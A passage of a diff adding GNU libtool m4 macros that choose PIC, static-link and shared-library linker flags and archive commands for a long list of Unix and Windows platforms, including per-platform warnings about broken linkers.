+      if test "$host_cpu" = m68k; then
+        # FIXME: we need at least 68020 code to build shared libraries, but
+        # adding the `-m68020' flag to GCC prevents building anything better,
+        # like `-m68040'.
+        _LT_TAGVAR(lt_prog_compiler_pic, $1)='-m68020 -resident32 -malways-restore-a4'
+      fi
+      ;;
+
+    beos* | cygwin* | irix5* | irix6* | nonstopux* | osf3* | osf4* | osf5*)
+      # PIC is the default for these OSes.
+      ;;
+
+    mingw* | pw32* | os2*)
+      # This hack is so that the source file can tell whether it is being
+      # built for inclusion in a dll (and should export symbols for example).
+      _LT_TAGVAR(lt_prog_compiler_pic, $1)='-DDLL_EXPORT'
+      ;;
+
+    darwin* | rhapsody*)
+      # PIC is the default on this platform
+      # Common symbols not allowed in MH_DYLIB files
+      _LT_TAGVAR(lt_prog_compiler_pic, $1)='-fno-common'
+      ;;
+
+    hpux*)
+      # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but
+      # not for PA HP-UX.
+      case $host_cpu in
+      hppa*64*|ia64*)
+	# +Z the default
+	;;
+      *)
+	_LT_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC'
+	;;
+      esac
+      ;;
+
+    interix3*)
+      # Interix 3.x gcc -fpic/-fPIC options generate broken code.
+      # Instead, we relocate shared libraries at runtime.
+      ;;
+
+    msdosdjgpp*)
+      # Just because we use GCC doesn't mean we suddenly get shared libraries
+      # on systems that don't support them.
+      _LT_TAGVAR(lt_prog_compiler_can_build_shared, $1)=no
+      enable_shared=no
+      ;;
+
+    *nto* | *qnx*)
+      # QNX uses GNU C++, but need to define -shared option too, otherwise
+      # it will coredump.
+      _LT_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC -shared'
+      ;;
+
+    sysv4*MP*)
+      if test -d /usr/nec; then
+	_LT_TAGVAR(lt_prog_compiler_pic, $1)=-Kconform_pic
+      fi
+      ;;
+
+    *)
+      _LT_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC'
+      ;;
+    esac
+  else
+    # PORTME Check for flag to pass linker flags through the system compiler.
+    case $host_os in
+    aix*)
+      _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
+      if test "$host_cpu" = ia64; then
+	# AIX 5 now supports IA64 processor
+	_LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
+      else
+	_LT_TAGVAR(lt_prog_compiler_static, $1)='-bnso -bI:/lib/syscalls.exp'
+      fi
+      ;;
+    darwin*)
+      # PIC is the default on this platform
+      # Common symbols not allowed in MH_DYLIB files
+      case $cc_basename in
+      xlc*)
+        _LT_TAGVAR(lt_prog_compiler_pic, $1)='-qnocommon'
+        _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
+        ;;
+      esac
+      ;;
+
+    mingw* | pw32* | os2*)
+      # This hack is so that the source file can tell whether it is being
+      # built for inclusion in a dll (and should export symbols for example).
+      _LT_TAGVAR(lt_prog_compiler_pic, $1)='-DDLL_EXPORT'
+      ;;
+
+    hpux9* | hpux10* | hpux11*)
+      _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
+      # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but
+      # not for PA HP-UX.
+      case $host_cpu in
+      hppa*64*|ia64*)
+	# +Z the default
+	;;
+      *)
+	_LT_TAGVAR(lt_prog_compiler_pic, $1)='+Z'
+	;;
+      esac
+      # Is there a better lt_prog_compiler_static that works with the bundled CC?
+      _LT_TAGVAR(lt_prog_compiler_static, $1)='${wl}-a ${wl}archive'
+      ;;
+
+    irix5* | irix6* | nonstopux*)
+      _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
+      # PIC (with -KPIC) is the default.
+      _LT_TAGVAR(lt_prog_compiler_static, $1)='-non_shared'
+      ;;
+
+    linux*)
+      case $cc_basename in
+      icc* | ecc*)
+	_LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
+	_LT_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC'
+	_LT_TAGVAR(lt_prog_compiler_static, $1)='-static'
+        ;;
+      pgcc* | pgf77* | pgf90* | pgf95*)
+        # Portland Group compilers (*not* the Pentium gcc compiler,
+	# which looks to be a dead project)
+	_LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
+	_LT_TAGVAR(lt_prog_compiler_pic, $1)='-fpic'
+	_LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
+        ;;
+      ccc*)
+        _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
+        # All Alpha code is PIC.
+        _LT_TAGVAR(lt_prog_compiler_static, $1)='-non_shared'
+        ;;
+      esac
+      ;;
+
+    newsos6)
+      _LT_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC'
+      _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
+      ;;
+
+    *nto* | *qnx*)
+      # QNX uses GNU C++, but need to define -shared option too, otherwise
+      # it will coredump.
+      _LT_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC -shared'
+      ;;
+
+    osf3* | osf4* | osf5*)
+      _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
+      # All OSF/1 code is PIC.
+      _LT_TAGVAR(lt_prog_compiler_static, $1)='-non_shared'
+      ;;
+
+    rdos*)
+      _LT_TAGVAR(lt_prog_compiler_static, $1)='-non_shared'
+      ;;
+
+    solaris*)
+      _LT_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC'
+      _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
+      case $cc_basename in
+      f77* | f90* | f95*)
+	_LT_TAGVAR(lt_prog_compiler_wl, $1)='-Qoption ld ';;
+      *)
+	_LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,';;
+      esac
+      ;;
+
+    sunos4*)
+      _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Qoption ld '
+      _LT_TAGVAR(lt_prog_compiler_pic, $1)='-PIC'
+      _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
+      ;;
+
+    sysv4 | sysv4.2uw2* | sysv4.3*)
+      _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
+      _LT_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC'
+      _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
+      ;;
+
+    sysv4*MP*)
+      if test -d /usr/nec ;then
+	_LT_TAGVAR(lt_prog_compiler_pic, $1)='-Kconform_pic'
+	_LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
+      fi
+      ;;
+
+    sysv5* | unixware* | sco3.2v5* | sco5v6* | OpenUNIX*)
+      _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
+      _LT_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC'
+      _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
+      ;;
+
+    unicos*)
+      _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
+      _LT_TAGVAR(lt_prog_compiler_can_build_shared, $1)=no
+      ;;
+
+    uts4*)
+      _LT_TAGVAR(lt_prog_compiler_pic, $1)='-pic'
+      _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
+      ;;
+
+    *)
+      _LT_TAGVAR(lt_prog_compiler_can_build_shared, $1)=no
+      ;;
+    esac
+  fi
+])
+case $host_os in
+  # For platforms which do not support PIC, -DPIC is meaningless:
+  *djgpp*)
+    _LT_TAGVAR(lt_prog_compiler_pic, $1)=
+    ;;
+  *)
+    _LT_TAGVAR(lt_prog_compiler_pic, $1)="$_LT_TAGVAR(lt_prog_compiler_pic, $1)@&t@m4_if([$1],[],[ -DPIC],[m4_if([$1],[CXX],[ -DPIC],[])])"
+    ;;
+esac
+AC_MSG_RESULT([$_LT_TAGVAR(lt_prog_compiler_pic, $1)])
+_LT_TAGDECL([wl], [lt_prog_compiler_wl], [1],
+	[How to pass a linker flag through the compiler])
+
+#
+# Check to make sure the PIC flag actually works.
+#
+if test -n "$_LT_TAGVAR(lt_prog_compiler_pic, $1)"; then
+  _LT_COMPILER_OPTION([if $compiler PIC flag $_LT_TAGVAR(lt_prog_compiler_pic, $1) works],
+    [_LT_TAGVAR(lt_prog_compiler_pic_works, $1)],
+    [$_LT_TAGVAR(lt_prog_compiler_pic, $1)@&t@m4_if([$1],[],[ -DPIC],[m4_if([$1],[CXX],[ -DPIC],[])])], [],
+    [case $_LT_TAGVAR(lt_prog_compiler_pic, $1) in
+     "" | " "*) ;;
+     *) _LT_TAGVAR(lt_prog_compiler_pic, $1)=" $_LT_TAGVAR(lt_prog_compiler_pic, $1)" ;;
+     esac],
+    [_LT_TAGVAR(lt_prog_compiler_pic, $1)=
+     _LT_TAGVAR(lt_prog_compiler_can_build_shared, $1)=no])
+fi
+_LT_TAGDECL([pic_flag], [lt_prog_compiler_pic], [1],
+	[Additional compiler flags for building library objects])
+
+#
+# Check to make sure the static flag actually works.
+#
+wl=$_LT_TAGVAR(lt_prog_compiler_wl, $1) eval lt_tmp_static_flag=\"$_LT_TAGVAR(lt_prog_compiler_static, $1)\"
+_LT_LINKER_OPTION([if $compiler static flag $lt_tmp_static_flag works],
+  _LT_TAGVAR(lt_prog_compiler_static_works, $1),
+  $lt_tmp_static_flag,
+  [],
+  [_LT_TAGVAR(lt_prog_compiler_static, $1)=])
+_LT_TAGDECL([link_static_flag], [lt_prog_compiler_static], [1],
+	[Compiler flag to prevent dynamic linking])
+])# _LT_COMPILER_PIC
+
+
+# _LT_LINKER_SHLIBS([TAGNAME])
+# ----------------------------
+# See if the linker supports building shared libraries.
+m4_defun([_LT_LINKER_SHLIBS],
+[AC_REQUIRE([LT_PATH_LD])dnl
+AC_REQUIRE([LT_PATH_NM])dnl
+m4_require([_LT_FILEUTILS_DEFAULTS])dnl
+m4_require([_LT_DECL_EGREP])dnl
+m4_require([_LT_CMD_GLOBAL_SYMBOLS])dnl
+m4_require([_LT_TAG_COMPILER])dnl
+AC_MSG_CHECKING([whether the $compiler linker ($LD) supports shared libraries])
+m4_if([$1], [CXX], [
+  _LT_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols'
+  case $host_os in
+  aix4* | aix5*)
+    # If we're using GNU nm, then we don't want the "-C" option.
+    # -C means demangle to AIX nm, but means don't demangle with GNU nm
+    if $NM -V 2>&1 | $GREP 'GNU' > /dev/null; then
+      _LT_TAGVAR(export_symbols_cmds, $1)='$NM -Bpg $libobjs $convenience | awk '\''{ if (((\$ 2 == "T") || (\$ 2 == "D") || (\$ 2 == "B")) && ([substr](\$ 3,1,1) != ".")) { print \$ 3 } }'\'' | sort -u > $export_symbols'
+    else
+      _LT_TAGVAR(export_symbols_cmds, $1)='$NM -BCpg $libobjs $convenience | awk '\''{ if (((\$ 2 == "T") || (\$ 2 == "D") || (\$ 2 == "B")) && ([substr](\$ 3,1,1) != ".")) { print \$ 3 } }'\'' | sort -u > $export_symbols'
+    fi
+    ;;
+  pw32*)
+    _LT_TAGVAR(export_symbols_cmds, $1)="$ltdll_cmds"
+  ;;
+  cygwin* | mingw*)
+    _LT_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[[BCDGRS]] /s/.* \([[^ ]]*\)/\1 DATA/;/^.* __nm__/s/^.* __nm__\([[^ ]]*\) [[^ ]]*/\1 DATA/;/^I /d;/^[[AITW]] /s/.* //'\'' | sort | uniq > $export_symbols'
+  ;;
+  *)
+    _LT_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols'
+  ;;
+  esac
+], [
+  runpath_var=
+  _LT_TAGVAR(allow_undefined_flag, $1)=
+  _LT_TAGVAR(always_export_symbols, $1)=no
+  _LT_TAGVAR(archive_cmds, $1)=
+  _LT_TAGVAR(archive_expsym_cmds, $1)=
+  _LT_TAGVAR(enable_shared_with_static_runtimes, $1)=no
+  _LT_TAGVAR(export_dynamic_flag_spec, $1)=
+  _LT_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols'
+  _LT_TAGVAR(hardcode_automatic, $1)=no
+  _LT_TAGVAR(hardcode_direct, $1)=no
+  _LT_TAGVAR(hardcode_libdir_flag_spec, $1)=
+  _LT_TAGVAR(hardcode_libdir_flag_spec_ld, $1)=
+  _LT_TAGVAR(hardcode_libdir_separator, $1)=
+  _LT_TAGVAR(hardcode_minus_L, $1)=no
+  _LT_TAGVAR(hardcode_shlibpath_var, $1)=unsupported
+  _LT_TAGVAR(inherit_rpath, $1)=no
+  _LT_TAGVAR(link_all_deplibs, $1)=unknown
+  _LT_TAGVAR(module_cmds, $1)=
+  _LT_TAGVAR(module_expsym_cmds, $1)=
+  _LT_TAGVAR(old_archive_from_new_cmds, $1)=
+  _LT_TAGVAR(old_archive_from_expsyms_cmds, $1)=
+  _LT_TAGVAR(thread_safe_flag_spec, $1)=
+  _LT_TAGVAR(whole_archive_flag_spec, $1)=
+  # include_expsyms should be a list of space-separated symbols to be *always*
+  # included in the symbol list
+  _LT_TAGVAR(include_expsyms, $1)=
+  # exclude_expsyms can be an extended regexp of symbols to exclude
+  # it will be wrapped by ` (' and `)$', so one must not match beginning or
+  # end of line.  Example: `a|bc|.*d.*' will exclude the symbols `a' and `bc',
+  # as well as any symbol that contains `d'.
+  _LT_TAGVAR(exclude_expsyms, $1)="_GLOBAL_OFFSET_TABLE_"
+  # Although _GLOBAL_OFFSET_TABLE_ is a valid symbol C name, most a.out
+  # platforms (ab)use it in PIC code, but their linkers get confused if
+  # the symbol is explicitly referenced.  Since portable code cannot
+  # rely on this symbol name, it's probably fine to never include it in
+  # preloaded symbol tables.
+  extract_expsyms_cmds=
+
+  case $host_os in
+  cygwin* | mingw* | pw32*)
+    # FIXME: the MSVC++ port hasn't been tested in a loooong time
+    # When not using gcc, we currently assume that we are using
+    # Microsoft Visual C++.
+    if test "$GCC" != yes; then
+      with_gnu_ld=no
+    fi
+    ;;
+  interix*)
+    # we just hope/assume this is gcc and not c89 (= MSVC++)
+    with_gnu_ld=yes
+    ;;
+  openbsd*)
+    with_gnu_ld=no
+    ;;
+  esac
+
+  _LT_TAGVAR(ld_shlibs, $1)=yes
+  if test "$with_gnu_ld" = yes; then
+    # If archive_cmds runs LD, not CC, wlarc should be empty
+    wlarc='${wl}'
+
+    # Set some defaults for GNU ld with shared library support. These
+    # are reset later if shared libraries are not supported. Putting them
+    # here allows them to be overridden if necessary.
+    runpath_var=LD_RUN_PATH
+    _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir'
+    _LT_TAGVAR(export_dynamic_flag_spec, $1)='${wl}--export-dynamic'
+    # ancient GNU ld didn't support --whole-archive et. al.
+    if $LD --help 2>&1 | $GREP 'no-whole-archive' > /dev/null; then
+      _LT_TAGVAR(whole_archive_flag_spec, $1)="$wlarc"'--whole-archive$convenience '"$wlarc"'--no-whole-archive'
+    else
+      _LT_TAGVAR(whole_archive_flag_spec, $1)=
+    fi
+    supports_anon_versioning=no
+    case `$LD -v 2>&1` in
+      *\ [[01]].* | *\ 2.[[0-9]].* | *\ 2.10.*) ;; # catch versions < 2.11
+      *\ 2.11.93.0.2\ *) supports_anon_versioning=yes ;; # RH7.3 ...
+      *\ 2.11.92.0.12\ *) supports_anon_versioning=yes ;; # Mandrake 8.2 ...
+      *\ 2.11.*) ;; # other 2.11 versions
+      *) supports_anon_versioning=yes ;;
+    esac
+
+    # See if GNU ld supports shared libraries.
+    case $host_os in
+    aix3* | aix4* | aix5*)
+      # On AIX/PPC, the GNU linker is very broken
+      if test "$host_cpu" != ia64; then
+	_LT_TAGVAR(ld_shlibs, $1)=no
+	cat <<_LT_EOF 1>&2
+
+*** Warning: the GNU linker, at least up to release 2.9.1, is reported
+*** to be unable to reliably create shared libraries on AIX.
+*** Therefore, libtool is disabling shared libraries support.  If you
+*** really care for shared libraries, you may want to modify your PATH
+*** so that a non-GNU linker is found, and then restart.
+
+_LT_EOF
+      fi
+      ;;
+
+    amigaos*)
+      if test "$host_cpu" = m68k; then
+        _LT_TAGVAR(archive_cmds, $1)='$RM $output_objdir/a2ixlibrary.data~$ECHO "#define NAME $libname" > $output_objdir/a2ixlibrary.data~$ECHO "#define LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$ECHO "#define VERSION $major" >> $output_objdir/a2ixlibrary.data~$ECHO "#define REVISION $revision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~$RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)'
+        _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir'
+        _LT_TAGVAR(hardcode_minus_L, $1)=yes
+      fi
+
+      # Samuel A. Falvo II <kc5tja@dolphin.openprojects.net> reports
+      # that the semantics of dynamic libraries on AmigaOS, at least up
+      # to version 4, is to share data among multiple programs linked
+      # with the same dynamic library.  Since this doesn't match the
+      # behavior of shared libraries on other platforms, we can't use
+      # them.
+      _LT_TAGVAR(ld_shlibs, $1)=no
+      ;;
+
+    beos*)
+      if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
+	_LT_TAGVAR(allow_undefined_flag, $1)=unsupported
+	# Joseph Beckenbach <jrb3@best.com> says some releases of gcc
+	# support --undefined.  This deserves some investigation.  FIXME
+	_LT_TAGVAR(archive_cmds, $1)='$CC -nostart $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+      else
+	_LT_TAGVAR(ld_shlibs, $1)=no
+      fi
+      ;;
+
+    cygwin* | mingw* | pw32*)
+      # _LT_TAGVAR(hardcode_libdir_flag_spec, $1) is actually meaningless,
+      # as there is no search path for DLLs.
+      _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir'
+      _LT_TAGVAR(allow_undefined_flag, $1)=unsupported
+      _LT_TAGVAR(always_export_symbols, $1)=no
+      _LT_TAGVAR(enable_shared_with_static_runtimes, $1)=yes
+      _LT_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[[BCDGRS]] /s/.* \([[^ ]]*\)/\1 DATA/'\'' | $SED -e '\''/^[[AITW]] /s/.* //'\'' | sort | uniq > $export_symbols'
+
+      if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
+        _LT_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
+	# If the export-symbols file already is a .def file (1st line
+	# is EXPORTS), use it as is; otherwise, prepend...
+	_LT_TAGVAR(archive_expsym_cmds, $1)='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
+	  cp $export_symbols $output_objdir/$soname.def;
+	else
+	  echo EXPORTS > $output_objdir/$soname.def;
+	  cat $export_symbols >> $output_objdir/$soname.def;
+	fi~
+	$CC -shared $output_objdir/$soname.def $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
+      else
+	_LT_TAGVAR(ld_shlibs, $1)=no
+      fi
+      ;;
+
+    interix3*)
+      _LT_TAGVAR(hardcode_direct, $1)=no
+      _LT_TAGVAR(hardcode_shlibpath_var, $1)=no
+      _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir'
+      _LT_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E'
+      # Hack: On Interix 3.x, we cannot compile PIC because of a broken gcc.
+      # Instead, shared libraries are loaded at an image base (0x10000000 by
+      # default) and relocated if they conflict, which is a slow very memory
+      # consuming and fragmenting process.  To avoid this, we pick a random,
+      # 256 KiB-aligned image base between 0x50000000 and 0x6FFC0000 at link
+      # time.  Moving up from 0x10000000 also allows more sbrk(2) space.
+      _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-h,$soname ${wl}--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib'
+      _LT_TAGVAR(archive_expsym_cmds, $1)='sed "s,^,_," $export_symbols >$output_objdir/$soname.expsym~$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-h,$soname ${wl}--retain-symbols-file,$output_objdir/$soname.expsym ${wl}--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib'
+      ;;
+
+    linux*|tpf*)
+      tmp_diet=no
+      if test "$host_os" = linux-dietlibc; then
+	case $cc_basename in
+	  diet\ *) tmp_diet=yes;;	# linux-dietlibc with static linking (!diet-dyn)
+	esac
+      fi
+      if $LD --help 2>&1 | $EGREP ': supported targets:.* elf' > /dev/null \
+	 && test "$tmp_diet" = no
+      then
+	tmp_addflag=
+	case $cc_basename,$host_cpu in
+        pgcc*)				# Portland Group C compiler
+	  _LT_TAGVAR(whole_archive_flag_spec, $1)='${wl}--whole-archive`for conv in $convenience\"\"; do test  -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $ECHO \"$new_convenience\"` ${wl}--no-whole-archive'
+	  tmp_addflag=' $pic_flag'
+	  ;;
+	pgf77* | pgf90* | pgf95*)	# Portland Group f77 and f90 compilers
+	  _LT_TAGVAR(whole_archive_flag_spec, $1)='${wl}--whole-archive`for conv in $convenience\"\"; do test  -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $ECHO \"$new_convenience\"` ${wl}--no-whole-archive'
+	  tmp_addflag=' $pic_flag -Mnomain' ;;
+	ecc*,ia64* | icc*,ia64*)	# Intel C compiler on ia64
+	  tmp_addflag=' -i_dynamic' ;;
+	efc*,ia64* | ifort*,ia64*)	# Intel Fortran compiler on ia64
+	  tmp_addflag=' -i_dynamic -nofor_main' ;;
+	ifc* | ifort*)			# Intel Fortran compiler
+	  tmp_addflag=' -nofor_main' ;;
+	esac
+
+	_LT_TAGVAR(archive_cmds, $1)='$CC -shared'"$tmp_addflag"' $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+
+        if test "x$supports_anon_versioning" = xyes; then
+          _LT_TAGVAR(archive_expsym_cmds, $1)='echo "{ global:" > $output_objdir/$libname.ver~cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~echo "local: *; };" >> $output_objdir/$libname.ver~$CC -shared'"$tmp_addflag"' $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-version-script ${wl}$output_objdir/$libname.ver -o $lib'
+        fi
+      else
+        _LT_TAGVAR(ld_shlibs, $1)=no
+      fi
+      ;;
+
+    netbsd*)
+      if echo __ELF__ | $CC -E - | $GREP __ELF__ >/dev/null; then
+	_LT_TAGVAR(archive_cmds, $1)='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib'
+	wlarc=
+      else
+	_LT_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+	_LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+      fi
+      ;;
+
+    solaris*)
+      if $LD -v 2>&1 | $GREP 'BFD 2\.8' > /dev/null; then
+	_LT_TAGVAR(ld_shlibs, $1)=no
+	cat <<_LT_EOF 1>&2
+
+*** Warning: The releases 2.8.* of the GNU linker cannot reliably
+*** create shared libraries on Solaris systems.  Therefore, libtool
+*** is disabling shared libraries support.  We urge you to upgrade GNU
+*** binutils to release 2.9.1 or newer.  Another option is to modify
+*** your PATH or compiler configuration so that the native linker is
+*** used, and then restart.
+
+_LT_EOF
+      elif $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
+	_LT_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+	_LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+      else
+	_LT_TAGVAR(ld_shlibs, $1)=no
+      fi
+      ;;
+
+    sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX*)
+      case `$LD -v 2>&1` in
+        *\ [[01]].* | *\ 2.[[0-9]].* | *\ 2.1[[0-5]].*) 
+	_LT_TAGVAR(ld_shlibs, $1)=no
+	cat <<_LT_EOF 1>&2
+
+*** Warning: Releases of the GNU linker prior to 2.16.91.0.3 can not
+*** reliably create shared libraries on SCO systems.  Therefore, libtool
+*** is disabling shared libraries support.  We urge you to upgrade GNU
+*** binutils to release 2.16.91.0.3 or newer.  Another option is to modify
+*** your PATH or compiler configuration so that the native linker is
+*** used, and then restart.
+
+_LT_EOF
+	;;
+	*)
+	  # For security reasons, it is highly recommended that you always
+	  # use absolute paths for naming shared libraries, and exclude the
+	  # DT_RUNPATH tag from executables and libraries.  But doing so
+	  # requires that you compile everything twice, which is a pain.
+	  if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
+	    _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir'
+	    _LT_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+	    _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+	  else
+	    _LT_TAGVAR(ld_shlibs, $1)=no
+	  fi
+	;;
+      esac
+      ;;
+
+    sunos4*)
+      _LT_TAGVAR(archive_cmds, $1)='$LD -assert pure-text -Bshareable -o $lib $libobjs $deplibs $linker_flags'
+      wlarc=
+      _LT_TAGVAR(hardcode_direct, $1)=yes
+      _LT_TAGVAR(hardcode_shlibpath_var, $1)=no
+      ;;
+
+    *)
+      if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
+	_LT_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+	_LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+      else
+	_LT_TAGVAR(ld_shlibs, $1)=no
+      fi
+      ;;
+    esac
+
+    if test "$_LT_TAGVAR(ld_shlibs, $1)" = no; then
+      runpath_var=
+      _LT_TAGVAR(hardcode_libdir_flag_spec, $1)=
+      _LT_TAGVAR(export_dynamic_flag_spec, $1)=
+      _LT_TAGVAR(whole_archive_flag_spec, $1)=
+    fi
+  else
+    # PORTME fill in a description of your system's linker (not GNU ld)
+    case $host_os in
+    aix3*)
+      _LT_TAGVAR(allow_undefined_flag, $1)=unsupported
+      _LT_TAGVAR(always_export_symbols, $1)=yes
+      _LT_TAGVAR(archive_expsym_cmds, $1)='$LD -o $output_objdir/$soname $libobjs $deplibs $linker_flags -bE:$export_symbols -T512 -H512 -bM:SRE~$AR $AR_FLAGS $lib $output_objdir/$soname'
+      # Note: this linker hardcodes the directories in LIBPATH if there
+      # are no directories specified by -L.
+      _LT_TAGVAR(hardcode_minus_L, $1)=yes
+      if test "$GCC" = yes && test -z "$lt_prog_compiler_static"; then
+	# Neither direct hardcoding nor static linking is supported with a
+	# broken collect2.
+	_LT_TAGVAR(hardcode_direct, $1)=unsupported
+      fi
+      ;;
+
+    aix4* | aix5*)
+      if test "$host_cpu" = ia64; then
+	# On IA64, the linker does run time linking by default, so we don't
+	# have to do anything special.
+	aix_use_runtimelinking=no
+	exp_sym_flag='-Bexport'
+	no_entry_flag=""
+      else
+	# If we're using GNU nm, then we don't want the "-C" option.
+	# -C means demangle to AIX nm, but means don't demangle with GNU nm
+	if $NM -V 2>&1 | $GREP 'GNU' > /dev/null; then
+	  _LT_TAGVAR(export_symbols_cmds, $1)='$NM -Bpg $libobjs $convenience | awk '\''{ if (((\$ 2 == "T") || (\$ 2 == "D") || (\$ 2 == "B")) && ([substr](\$ 3,1,1) != ".")) { print \$ 3 } }'\'' | sort -u > $export_symbols'
+	else
+	  _LT_TAGVAR(export_symbols_cmds, $1)='$NM -BCpg $libobjs $convenience | awk '\''{ if (((\$ 2 == "T") || (\$ 2 == "D") || (\$ 2 == "B")) && ([substr](\$ 3,1,1) != ".")) { print \$ 3 } }'\'' | sort -u > $export_symbols'
+	fi
+	aix_use_runtimelinking=no
+
+	# Test if we are trying to use run time linking or normal
+	# AIX style linking. If -brtl is somewhere in LDFLAGS, we
+	# need to do runtime linking.
+	case $host_os in aix4.[[23]]|aix4.[[23]].*|aix5*)
+	  for ld_flag in $LDFLAGS; do
+  	  if (test $ld_flag = "-brtl" || test $ld_flag = "-Wl,-brtl"); then
+  	    aix_use_runtimelinking=yes
+  	    break
+  	  fi
+	  done
+	  ;;
+	esac
+
+	exp_sym_flag='-bexport'
+	no_entry_flag='-bnoentry'
+      fi
+
+      # When large executables or shared objects are built, AIX ld can
+      # have problems creating the table of contents.  If linking a library
+      # or program results in "error TOC overflow" add -mminimal-toc to
+      # CXXFLAGS/CFLAGS for g++/gcc.  In the cases where that is not
+      # enough to fix the problem, add -Wl,-bbigtoc to LDFLAGS.
+
+      _LT_TAGVAR(archive_cmds, $1)=''
+      _LT_TAGVAR(hardcode_direct, $1)=yes
+      _LT_TAGVAR(hardcode_libdir_separator, $1)=':'
+      _LT_TAGVAR(link_all_deplibs, $1)=yes
